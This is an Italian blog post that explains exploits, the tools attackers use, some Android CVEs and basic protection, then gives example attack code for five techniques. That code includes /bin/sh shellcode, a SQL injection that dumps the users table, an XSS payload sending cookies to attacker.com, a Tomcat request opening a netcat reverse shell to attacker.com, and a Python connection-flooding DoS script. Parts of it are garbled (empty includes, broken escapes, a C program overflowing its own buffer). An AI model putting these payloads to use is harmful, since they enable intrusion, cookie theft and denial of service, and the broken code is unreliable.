Capire gli exploit, i metodi e la protezione

Un exploit è un pezzo di software, un pezzo di dati o una sequenza di comandi che sfrutta una vulnerabilità in un sistema o in un’applicazione per causare un comportamento non previsto o non prevedibile. Gli exploit sono spesso utilizzati dagli hacker per ottenere un accesso non autorizzato a dispositivi, reti o dati, o per eseguire azioni dannose come l’installazione di malware, il furto di informazioni o il lancio di attacchi denial-of-service.
Gli exploit possono essere classificati in base al modo in cui comunicano con il sistema o l’applicazione vulnerabile. Un exploit remoto opera attraverso una rete e non richiede alcun accesso preliminare all’obiettivo. Un exploit locale richiede un accesso preliminare all’obiettivo e di solito aumenta i privilegi dell’attaccante oltre a quelli concessi dall’amministratore del sistema. Gli exploit possono anche essere classificati in base all’azione che eseguono sull’obiettivo; ad esempio, accesso non autorizzato ai dati, esecuzione di codice arbitrario o negazione del servizio.

Sono molti gli strumenti e i metodi che gli hacker utilizzano per trovare e sfruttare le vulnerabilità di sistemi e applicazioni. Alcuni dei più comuni sono:

  • Fuzzing: Si tratta di una tecnica che prevede l’invio di dati casuali o malformati a un sistema o a un’applicazione per testarne la robustezza e scoprire potenziali vulnerabilità.
  • Scanning: Una tecnica che prevede il sondaggio di un sistema o di una rete alla ricerca di porte, servizi o vulnerabilità aperte che possono essere sfruttate.
  • Exploit frameworks: Piattaforme software che forniscono una raccolta di exploit, payload e strumenti per automatizzare e semplificare il processo di sfruttamento. Alcuni dei framework di exploit più popolari sono Metasploit, Exploit Pack e Cobalt Strike.
  • Shellcode: Un pezzo di codice che viene iniettato in un sistema o in un’applicazione vulnerabile per eseguire comandi arbitrari. Lo shellcode può essere scritto in linguaggio assembly, C, Python o altri linguaggi, a seconda della piattaforma e dell’architettura di destinazione.
  • Web application exploits: Si tratta di exploit che prendono di mira le applicazioni web o i browser sfruttando vulnerabilità quali cross-site scripting (XSS), SQL injection, cross-site request forgery (CSRF) o inclusione di file.

Anche gli smartphone sono vulnerabili agli exploit, soprattutto i dispositivi Android che utilizzano vari chipset e driver di diversi produttori. Alcuni esempi recenti di exploit di smartphone sono:

  • CVE-2023-24033 e altre tre vulnerabilità che riguardano i dispositivi Android che utilizzano i chipset Exynos di Samsung. Queste vulnerabilità consentono l’esecuzione di codice remoto a livello di banda base senza alcuna interazione da parte dell’utente.
  • CVE-2023-28663 and CVE-2023-28664 che interessano i dispositivi Android che utilizzano processori grafici ARM. Queste vulnerabilità consentono anche l’esecuzione di codice remoto con privilegi di root.
  • CVE-2022-29901 and CVE-2022-29900 che riguardano i dispositivi Android che utilizzano la CPU Snapdragon di Qualcomm. Queste vulnerabilità consentono la corruzione della memoria e la divulgazione di informazioni.

Per proteggersi dagli exploit, è necessario tenere sempre aggiornati i sistemi e le applicazioni con le ultime patch di sicurezza fornite dai fornitori. È inoltre necessario utilizzare software antivirus, firewall e altri strumenti di sicurezza per monitorare e bloccare il traffico e le attività dannose. Dovreste anche evitare di aprire link, allegati o download sospetti da fonti sconosciute. Occorre inoltre prestare attenzione a concedere autorizzazioni ad applicazioni o siti web che richiedono l’accesso ai dati o alle funzioni del dispositivo.

Per saperne di più sugli exploit e su come prevenirli, è possibile consultare diverse fonti di informazione, come ad esempio:

  • The National Vulnerability Database (NVD), che è un archivio di informazioni standardizzate sulle vulnerabilità del software gestito dal governo degli Stati Uniti.
  • The Common Vulnerabilities and Exposures (CVE), è un elenco di vulnerabilità di cybersecurity pubblicamente conosciute, a cui vengono assegnati identificatori univoci.
  • The Exploit Database (EDB),  archivio di exploit pubblici e del corrispondente software vulnerabile gestito da Offensive Security.
  • The MITRE ATT&CK, che è una base di conoscenza delle tattiche e delle tecniche avversarie basata su osservazioni reali.

Gli exploit rappresentano una grave minaccia per la sicurezza e la privacy di utenti e organizzazioni. Gli exploit possono compromettere dispositivi, reti o dati sfruttando le vulnerabilità dei sistemi o delle applicazioni. Gli hacker utilizzano vari strumenti e metodi per trovare e sfruttare le vulnerabilità, compresi gli smartphone. Gli utenti dovrebbero sempre aggiornare i loro sistemi e applicazioni con le ultime patch di sicurezza e utilizzare strumenti di sicurezza per proteggersi dagli exploit. Gli utenti dovrebbero anche informarsi sugli exploit e su come prevenirli consultando varie fonti di informazione.

Buffer overflow

Questo exploit sfrutta una vulnerabilità in un programma che non controlla la lunghezza dell’input e permette di sovrascrivere la memoria con codice dannoso..

// Exploit for a buffer overflow vulnerability in a program that copies the input to a buffer of size 64
// The exploit inserts a shellcode that executes /bin/sh and the return address of the buffer
// The shellcode is executed when the program returns from the function

#include 
#include 
#include 

// Shellcode that executes /bin/sh (depends on the processor architecture)
char shellcode[] = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80";

// Return address of the buffer (depends on the operating system and the program version)
unsigned long ret_addr = 0xbffff7c0;

int main(int argc, char *argv[])
{
    // Buffer of size 64
    char buffer[64];

    // Payload that contains the shellcode and the return address
    char payload[64 + 4];
    memcpy(payload, shellcode, sizeof(shellcode) - 1);
    memset(payload + sizeof(shellcode) - 1, 'A', 64 - sizeof(shellcode) + 1);
    *(unsigned long *)(payload + 64) = ret_addr;

    // Copy the payload to the buffer
    strcpy(buffer, payload);

    // Print the buffer
    printf("%sn", buffer);

    return 0;
}

Questo exploit è solo a scopo didattico e non deve essere utilizzato per scopi illegali.

SQL injection

Questo exploit sfrutta una vulnerabilità in un’applicazione Web che non convalida o filtra l’input dell’utente e consente di iniettare comandi SQL nel database.

-- Exploit for a SQL injection vulnerability in a web application that accepts user input for searching products
-- The input is inserted directly into a SQL query without validation or filtering
-- The exploit inserts an input that terminates the original query and starts a new one
-- The new query returns all the data from the users table, including passwords

-- Normal input: t-shirt
-- Original query: SELECT * FROM products WHERE name LIKE '%t-shirt%';

-- Malicious input: t-shirt'; SELECT * FROM users; --
-- Modified query: SELECT * FROM products WHERE name LIKE '%t-shirt'; SELECT * FROM users; --%';

Questo exploit è solo a scopo didattico e non deve essere utilizzato per scopi illegali.

Cross-site scripting (XSS)

Questo exploit sfrutta una vulnerabilità in un sito web o in un’applicazione che non convalida o filtra l’input o l’output dell’utente e consente di inserire codice JavaScript nella pagina web.

<# Exploit for a XSS vulnerability in a web site that accepts user input for leaving a comment on an article
# The input is inserted directly into the HTML code of the page without validation or filtering
# The exploit inserts an input that contains a script tag with malicious JavaScript code
# The JavaScript code sends the user's cookie to a site controlled by the attacker -->

# Normal input: Nice article, congratulations! -->
# Original HTML code: 
# Nice article, congratulations!
 -->

# Malicious input: Nice article, congratulations!
# document.location='http://attacker.com/?cookie='+document.cookie; -->
# Modified HTML code: 
Nice article, congratulations!
# document.location='http://attacker.com/?cookie='+document.cookie;
 -->

Questo exploit è solo a scopo didattico e non deve essere utilizzato per scopi illegali.

Remote code execution (RCE)

Questo exploit sfrutta una vulnerabilità in un programma o servizio esposto su Internet che accetta input da fonti remote senza convalidare o filtrare i dati ricevuti e consente di eseguire codice arbitrario sul sistema di destinazione.

# Exploit for a RCE vulnerability in a web server Apache Tomcat
# The web server Apache Tomcat accepts HTTP requests from remote clients
# The HTTP request contains a JSP parameter that is interpreted as Java code by the server
# The exploit sends an HTTP request with a JSP parameter that contains malicious Java code
# The Java code creates a process that executes the command /bin/sh -c 'nc -e /bin/sh attacker.com 4444'
# The command creates a reverse connection between the server and the site controlled by the attacker
# The attacker gets an interactive shell on the server with the privileges of the Tomcat service

# Normal HTTP request: GET /index.jsp HTTP/1.1
# Host: vulnerable.com

# Malicious HTTP request: GET /index.jsp?jsp=<%=Runtime.getRuntime().exec("/bin/sh -c 'nc -e /bin/sh attacker.com 4444'")%> HTTP/1.1
# Host: vulnerable.com

Questo exploit è solo a scopo didattico e non deve essere utilizzato per scopi illegali.

Denial-of-service (DoS)

Questo exploit sfrutta una vulnerabilità di un sistema o di una rete che consente di consumare le sue risorse o di interromperne la funzionalità, impedendo agli utenti legittimi di accedervi.

# Exploit for a DoS vulnerability in a web server that does not handle concurrent connections properly
# The web server accepts TCP connections from clients on port 80
# The exploit creates multiple TCP connections to the web server and keeps them open without sending any data
# The web server runs out of resources or sockets and cannot accept new connections from legitimate clients

import socket
import threading

# Target web server IP address and port
target = "192.168.1.100"
port = 80

# Number of connections to create
connections = 1000

# Function that creates a TCP connection to the target and keeps it open
def connect():
    # Create a socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # Connect to the target
    s.connect((target, port))
    # Keep the connection open
    while True:
        pass

# Create a list of threads
threads = []

# Loop for the number of connections
for i in range(connections):
    # Create a thread that calls the connect function
    t = threading.Thread(target=connect)
    # Add the thread to the list
    threads.append(t)
    # Start the thread
    t.start()

# Wait for all threads to finish
for t in threads:
    t.join()

Questo exploit è solo a scopo didattico e non deve essere utilizzato per scopi illegali.


Home » Blog » IT » Linux » Capire gli exploit, i metodi e la protezione

Lascia un commento